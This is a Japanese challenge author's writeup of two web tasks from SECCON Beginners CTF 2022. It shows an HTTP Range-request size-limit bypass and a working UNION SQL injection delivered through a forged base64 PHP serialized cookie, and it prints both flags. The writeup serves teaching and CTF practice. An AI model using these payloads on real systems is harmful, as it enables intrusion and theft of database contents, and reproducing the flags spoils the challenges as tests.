SECCON Beginners CTF 2022 作問者writeup

## はじめに
6月5日14:00から24時間で初心者向けのSECCON Beginners CTF 2022を開催しました。
私はWeb問題を2問作問したので、それらの問題のwriteupを公開します。

いずれも参加者に知識を習得してほしかったため、私が担当した問題では Flag 取得までのヒントは問題文やコメントで多めに提示しておいたつもりです。

## 他の作問者writeups
作問者Writeup以外も解法は存在します。**解は1つだけではないので、[Twitterの#ctf4bツイート](https://twitter.com/hashtag/ctf4b?src=hashtag_click) を各自追ってください** :bow:

- Web
  - [Util/Ironhand](https://hi120ki.github.io/blog/posts/20220605-2/)
  - [textex](https://github.com/satoki/ctf4b_2022_satoki_writeups/tree/3dbf741d8f408dc8e717691b25cbe7549eed85fe/web/textex#%E8%A7%A3%E6%B3%95)
- Misc
  - [phisher/hitchhike4b](https://github.com/satoki/ctf4b_2022_satoki_writeups/tree/3dbf741d8f408dc8e717691b25cbe7549eed85fe/misc)
  - [H2](https://twitter.com/xrekkusu/status/1533328718608732161)
  - [ultra_super_miracle_validator](https://feneshi.co/ctf4b2022writeup/#misc)
- Pwnable
  - [BeginnersBof/raindrop/snowdrop/simplelist](https://feneshi.co/ctf4b2022writeup/#pwn)
  - Monkey Heap
    - `House of Husk, House of Banana, House of Emma等でシェルを取る` だそうです
- Reversing
  - [Quiz/Recursive/Ransom](https://hi120ki.github.io/blog/posts/20220605-1/)
  - [please_not_debug_me](https://feneshi.co/ctf4b2022writeup/#reversing)
  - WinTLS(ないです)
- Crypto
  - [CoughingFox/PrimeParty/omni-RSA](https://qiita.com/ushigai_sub/items/1182d7f49e7ff92646e7)
  - [Command/Unpredictable Pad](https://twitter.com/xrekkusu/status/1533328718608732161)


## [Web 83pt] gallery(156 solves)

隠された Flag を見つけ、サイズ制限のあるFlagを取得する問題です。HTTP Range Requests を意外と知らない人がいたので作問しました。

### 問題文

```
絵文字のギャラリーを作ったよ！ え？ギャラリーの中に flag という文字列を見かけた？

仮にそうだとしても、サイズ制限があるから flag は漏洩しないはず...だよね？

https://gallery.quals.beginners.seccon.jp

gallery.tar.gz a1179b888f1026f9319c859d6711a3300886f610
```

### 解法
アクセスすると、Query Parameter で指定された拡張子のファイルが表示されるページであることがわかります。
とりあえず `.` や `%2e` を入れてみますが、通りません。

ソースコードを見ると、`file_extension` で指定された文字列を含むファイル以外を表示しない仕様であることが分かります。

```go
// filtered by the fileExtension
if !strings.Contains(file.Name(), fileExtension) {
	continue
}
```

問題文に

> え？ギャラリーの中に flag という文字列を見かけた？

とあるので、ファイル名には `f`, `l`, `a`, `g` のどれかの文字は含まれていそうです。


従って、 `https://gallery.quals.beginners.seccon.jp/?file_extension=f` に GET リクエストをすると flag と思しきファイルが露出します。

![Screen Shot 2022-06-06 at 18.00.26.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238364/168e353f-fb82-a2c0-18ef-9da3b9bf745e.png)

しかし、`https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf` にアクセスするとファイルサイズが大きすぎて、 `?` で上書きされていることがわかります。

サイズ制限をスルーするために、HTTP Range Requests を用います。
HTTP Range Requests については、[Mozilla](https://developer.mozilla.org/ja/docs/Web/HTTP/Range_requests) や [RFC7233](https://datatracker.ietf.org/doc/html/rfc7233) をご覧ください。

サイズ制限は、以下のソースコードの通り 10240 [bytes] なので、 

```go
// main.go
func (w *MyResponseWriter) Write(data []byte) (int, error) {
	filledVal := []byte("?")

	length := len(data)
	if length > w.lengthLimit {
		w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
		return length, nil
	}

	w.ResponseWriter.Write(data[:length])
	return length, nil
}

return func(h http.Handler) http.Handler {
	return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
		h.ServeHTTP(&MyResponseWriter{
			ResponseWriter: rw,
			lengthLimit:    10240, // SUPER SECURE THRESHOLD
		}, r)
	})
}
```

0-10230 [bytes] の範囲でリクエストします。

```
curl -X GET -H 'Range: bytes=0-10239' http://localhost/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf --output - > 0.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10240    0 10240    0     0  1111k      0 --:--:-- --:--:-- --:--:-- 1111k
```

10240 [bytes] しっかり全部取れているので、次のchunkをみます。

```
curl -X GET -H 'Range: bytes=10240-20479' http://localhost/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf --output - > 1.pdf
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5845    0  5845    0     0   815k      0 --:--:-- --:--:-- --:--:--  815k
```

5845 [bytes] なので、これで全てであることがわかります。


catで結合します。

```
cat 0.pdf 1.pdf > ans.pdf
```

結合したpdfを見ると、以下の通りFlagが得られます。

![Screen Shot 2022-06-05 at 14.10.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238364/31d0b1b1-977d-9b50-ec32-22e289cfd5ba.png)


**ctf4b{r4nge_reque5t_1s_u5efu1!}**

## [Web 109pt] serial(83 solves)
Insecure Deserialization と UNION SQL Injection を問いたかった問題です。

Insecure Deserialization の手段として、PHP と Java が利用できます。しかし、Java は自分でソースコードから Serialized Object を生成する必要があり、言語的な理解が必要とされるため今回は PHP を選定しました。

### 問題文

```
フラッグは flags テーブルの中にあるよ。ゲットできるかな？

https://serial.quals.beginners.seccon.jp

serial.tar.gz 4fc156278675123824c73e65d65496e9a8aa1cf1
```

### 解法
配布された PHP ファイルを見ると、露骨に脆弱性のある以下のメソッドが提示されています。

```php
// database.php
    /**
     * findUserByName finds a user from database by given userId.
     * 
     * @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
     */
    public function findUserByName($user = null)
    {
        if (!isset($user->name)) {
            throw new Exception('invalid user name: ' . $user->user);
        }

        $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
        $result = $this->_con->query($sql);
        if (!$result) {
            throw new Exception('failed query for findUserByNameOld ' . $sql);
        }

        while ($row = $result->fetch_assoc()) {
            $user = new User($row['id'], $row['name'], $row['password_hash']);
        }
        return $user;
    }
```

中盤の `$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";` の `$user->name` に対して Union SQL Injection を適用することで Flag が取れそうです。配布ファイルの中にデータベースの初期化 SQL ファイルも含まれているので flags テーブルのカラム数と型は自明です。

Union SQL Injection を実現するペイロードとしては、以下のようなもので良いでしょう。

```sql
' UNION SELECT 'hoge', body, '$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6' FROM flags -- 
```

これを実現したいのですが、この `$user` インスタンスの生成は User class にまとめられており、

- UNION
- '
- FROM
- SELECT
- flag

のような文字列が利用できないようになっていたり、XSSができないようになっていたりするのがわかります。

```php
// user.php
class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }
    // (snip)
}
```

この発想は[セキュア・バイ・デザイン](https://www.amazon.co.jp/dp/B09F697K2V)によるもので、オブジェクトの生成を集約化することでセキュリティのリスクを集中させるようにしています。

ただし、以下の通りログイン時の`unserialize()` を用いている部分でこのチェックをしていないため、この処理をバイパスすることができます。

```php
// user.php

function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}
```

ありがたいことに、取得した値は serialize 後に再度 Cookie に設定されるので、方針としては **Cookie に flag を取得するような Union SQL Injection のペイロードを含めてリクエストをする** ことで Flag を取得することとします。


したがって、次の SQL を User オブジェクトの name に挿入したいので、

```sql
' UNION SELECT 'hoge', body, '$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6' FROM flags -- 
```

Cookie に埋め込む値は、以下の

```plaintext
O:4:"User":3:{s:2:"id";s:1:"1";s:4:"name";s:106:"' UNION SELECT 'hoge', body, '$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6' FROM flags -- ";s:13:"password_hash";s:60:"$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6";}
```

を base64 encode した

```plaintext
Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjE6IjEiO3M6NDoibmFtZSI7czoxMDY6IicgVU5JT04gU0VMRUNUICdob2dlJywgYm9keSwgJyQyeSQxMCRNM25kMVRDQ1ppYm9BbDlZTnBIMlZ1ZmRIeE5wSnk1aHF3UDYwMWlzMjZiRUVMMW9NMFZjNicgRlJPTSBmbGFncyAtLSAiO3M6MTM6InBhc3N3b3JkX2hhc2giO3M6NjA6IiQyeSQxMCRNM25kMVRDQ1ppYm9BbDlZTnBIMlZ1ZmRIeE5wSnk1aHF3UDYwMWlzMjZiRUVMMW9NMFZjNiI7fQ==
```

になります。

※ 2022/06/06 追記
今回の例ではパスワードハッシュに正しい値を入れていますが、[こちらのコメント](https://qiita.com/task4233/items/9b4f7bcf52cc87a9c7ad#comment-a52ec988f3afa1522fe7) で指摘されている通り、その必要はありません。
@m2ku さん、ご指摘ありがとうございます。

これを Cookie に設定してリクエストすると以下の Cookie に変わっています。

```plaintext
Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6ImhvZ2UiO3M6NDoibmFtZSI7czo0MzoiY3RmNGJ7U2VyMTRsaXo0dDEwbl8xNV92MXJ0dWFsbHlfcGw0MW50ZXh0fSI7czoxMzoicGFzc3dvcmRfaGFzaCI7czo2MDoiJDJ5JDEwJE0zbmQxVENDWmlib0FsOVlOcEgyVnVmZEh4TnBKeTVocXdQNjAxaXMyNmJFRUwxb00wVmM2Ijt9
```

この Cookie の情報を URL Decode & Base64 decode すると以下の通り Flag が得られます。

```
O:4:"User":3:{s:2:"id";s:4:"hoge";s:4:"name";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:13:"password_hash";s:60:"$2y$10$M3nd1TCCZiboAl9YNpH2VufdHxNpJy5hqwP601is26bEEL1oM0Vc6";}
```

**ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}**